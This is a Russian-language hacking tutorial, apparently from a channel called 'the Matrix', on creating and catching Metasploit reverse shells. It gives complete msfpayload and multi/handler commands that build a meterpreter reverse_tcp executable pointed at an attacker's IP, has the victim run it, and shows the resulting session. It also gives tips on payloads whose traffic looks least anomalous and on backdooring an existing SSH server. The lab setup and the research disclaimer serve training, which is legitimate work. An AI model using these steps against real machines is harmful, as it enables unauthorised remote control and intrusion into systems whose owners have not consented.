Как использовать reverse shell в Metasploit

Как использовать reverse shell в Metasploit

the Matrix

Содержание
  • Как использовать reverse shell в Metasploit
  • Список обратных оболочек Metasploit
  • Reverse shell в Windows
  • Linux reverse shell
  • Когда может потребоваться использовать reverse shell
  • Когда reverse shell не нужен
  • Как настроить reverse shell при генерации полезной нагрузки
  • Демонстрация
  • Шаг 1: Создаем исполняемую полезную нагрузку
  • Шаг 2: Скопируем исполняемую полезную нагрузку в Box B
  • Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A
  • Шаг 4: Дважды кликнем по вредоносному исполняемому файлу
  • Шаг 5: Просмотр сеанса meterpreter/payload на Box A
  • Как использовать reverse shell в Metasploit

    Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.

    В этой статье рассмотрим использование reverse shell для получения сеанса.

    Список обратных оболочек Metasploit

    Чтобы получить список обратных оболочек, используйте команду msfpayload.

    ./msfpayload -l |grep reverse

    Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.

    Reverse shell в Windows

    В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.

    Linux reverse shell

    В Linux вы можете попробовать использовать linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.

    Когда может потребоваться использовать reverse shell

    Несколько возможных ниже приведенных сценариев предполагают использование указанного метода

    • Целевая машина находится в другой частной сети.
    • Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью bind shell.
    • Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.
    • Или же Вы просто не можете решить, что выбрать.

    Когда reverse shell не нужен

    Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.

    Как настроить reverse shell при генерации полезной нагрузки

    Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:

    • LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.
    • LPORT – порт, к которому вы хотите подключить целевую машину.

    Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):

    • LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.
    • LPORT – это порт, к которому вы хотите привязать ваш слушатель.

    Перед выполнением reverse shell следует убедиться, что слушатель запущен.

    Демонстрация

    В этой демонстрации у нас есть две машины:

    Box A:

    Ящик атакующего, который получает сессию полезной нагрузки.
    IP это: 192.168.1.123 (ifconfig).
    В той же сети, что и машина жертвы.

    Box B:

    Машина “жертвы”
    Windows 7
    IP-адрес: 192.168.1.80 (ipconfig)
    В той же сети, что и машина злоумышленника
    В целях тестирования антивирус не включен.
    В целях тестирования также не включен брандмауэр.

    Шаг 1: Создаем исполняемую полезную нагрузку

    На компьютере атакующего запустим msfpayload или msfvenom:

    $ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 287 Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

    Шаг 2: Скопируем исполняемую полезную нагрузку в Box B

    Box B – это машина жертвы.

    Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A

    Box A – это атакующая машина.

    $ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler...

    Шаг 4: Дважды кликнем по вредоносному исполняемому файлу

    Этот шаг не требует дополнительных объяснений.

    Шаг 5: Просмотр сеанса meterpreter/payload на Box A

    $ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.80 [*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500 meterpreter >

    Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом

    ¯\_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.


    Наши проекты:

    - Кибер новости: the Matrix
    - Хакинг: /me Hacker
    - Кодинг: Minor Code
    - Киб.Безопасность: Access Allowed
    - IT Агрегатор : Бункер Айтишника

    Report Page